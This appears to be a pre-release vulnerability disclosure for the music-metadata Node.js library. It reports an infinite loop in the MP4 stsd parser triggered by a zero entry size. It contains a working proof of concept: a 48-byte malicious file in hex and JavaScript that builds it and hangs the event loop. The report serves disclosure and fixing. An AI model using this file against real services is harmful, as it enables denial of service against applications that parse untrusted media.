### Summary
`StsdAtom.get()` in `lib/mp4/AtomToken.ts` parses an MP4 `stsd` (sample description) box's entry table by advancing a cursor with `off += size - 4`, where `size` is a 32-bit, attacker-controlled per-entry length read straight from the file. When `size == 0`, that advance is `0`, so a file declaring a huge `entry_count` and a first entry `size` of `0` spins forever: same bytes read every iteration, no progress, no exit. Because `StsdAtom.get` runs *synchronously* inside `strtok3`'s tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through `parseBuffer`, `parseFile`, `parseStream`, `parseBlob`, or `parseWebStream`.
This is currently unreleased — present on the `master` branch only, not in the latest npm release (`11.14.0`) or any earlier one. Reporting now, before it ships.
### Details
`lib/mp4/AtomToken.ts`, `StsdAtom.get()`:
```ts
for (let n = 0; n < header.numberOfEntries; ++n) {
const size = Token.UINT32_BE.get(buf, off); // attacker-controlled entry size
off += Token.UINT32_BE.len; // +4 (skip the size field)
table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off));
off += size - Token.UINT32_BE.len; // net advance = size - 4
}
```
- Introduced by commit `d2a7d6f` ("fix(mp4): locate each sample entry after the first correctly", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was `off += size` (correct advance, but it over-skipped the first entry — the actual bug PR #2693 was fixing). The fix changed it to `off += size - 4` to correct the offset, but added no guard for `size < 4`.
- With `size == 0`: net advance for the iteration is `4 + (0 - 4) = 0`. `off` never moves. The loop re-reads the same 4 bytes as `size` on every pass, `entry_count` (also attacker-controlled, up to `0xFFFFFFFF`) never runs out, and `table.push(...)` grows without bound on every iteration.
- `StsdAtom.get` is invoked synchronously from `strtok3`'s `AbstractTokenizer.readToken` — there is no `await` point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; `table`'s unbounded growth means it will also eventually exhaust memory if not killed first.
- The pre-fix code (`off += size`, no `-4`) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable `FieldDecodingError` rather than looping. That's why this is a *regression* introduced specifically by the `-4` fix, not a pre-existing bug.
### PoC
48-byte MP4 file: a 16-byte `ftyp` box + a 32-byte `stsd` box declaring `entry_count = 0xFFFFFFFF` with one sample entry whose `size` field is `0`.
```
hex: 00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001
sha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80
```
This builds the malicious buffer inline:
```js
import { parseBuffer } from 'music-metadata';
const ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff);
const u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff];
const cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; };
const zeros = (n) => new Array(n).fill(0);
function build(entryCount, entrySize) {
const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0));
const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count
const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry
const payload = cat(stsdHeader, entry);
const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload);
return Uint8Array.from(cat(ftyp, stsd));
}
const hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0
console.log('parsing', hang.length, 'byte file …');
await parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop
console.log('unreachable');
```
```
$ timeout 8 node poc.mjs
parsing 48 byte file …
# process is killed by `timeout` after 8s — never resolves, ~100% CPU the whole time
```
Control (benign input, `entry_count = 1`, same `size = 0`): rejects in 4 ms with a `TypeError` — the loop runs exactly once and terminates, confirming the hang is specific to the `entry_count` × `size == 0` combination, not the `size == 0` field alone.
Version-scope control (same 48-byte file against the latest npm release, `
[email protected]`, which still has the pre-fix `off += size`): rejects in 4 ms with a `FieldDecodingError` — no hang. Confirms this is a `master`-only regression, not present in anything currently shipped.
### Impact
Any application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call.
This is the same vulnerability class and CVSS vector as the project's own prior advisory, **GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256** (ASF parser infinite loop, fixed in 11.12.1) — but a different sink (MP4 `stsd`, not ASF extension objects) and, notably, this one reaches *every* tokenizer backend rather than being spared by `parseStream` the way the ASF bug was, since the buffer here is already fully materialized in memory when `StsdAtom.get` runs.